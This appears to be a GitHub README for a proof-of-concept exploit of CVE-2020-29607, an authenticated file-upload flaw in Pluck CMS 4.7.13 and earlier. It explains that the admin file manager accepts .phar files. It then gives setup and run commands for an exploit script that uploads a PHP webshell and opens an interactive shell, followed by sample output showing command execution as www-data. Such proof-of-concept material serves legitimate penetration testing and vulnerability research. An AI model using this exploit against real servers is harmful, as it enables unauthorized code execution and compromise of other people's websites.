estebanzarate/cve-2020-29607-pluck-cms-4.7.13-authenticated-file-upload-rce-pocAuthenticated RCE exploit for Pluck CMS <= 4.7.13 via unvalidated file upload. Uploads a PHP webshell and provides an interactive command shell.
Authenticated remote code execution in Pluck CMS before 4.7.13. The admin file manager (
admin.php?action=files) does not validate file extensions, allowing upload of.pharfiles which Apache executes as PHP. Uploading a webshell through this endpoint results in RCE as the web server user.
shell.phar via the admin file manager.id.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
# Pluck at root
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD
# Pluck in a subdirectory
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD --path /pluck
Example:
$ python3 exploit.py -u http://10.10.10.10 -p admin123
[*] Logging in...
[+] Logged in
[*] Uploading webshell...
[+] Webshell uploaded
[*] Shell URL: http://10.10.10.10/files/shell.phar
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data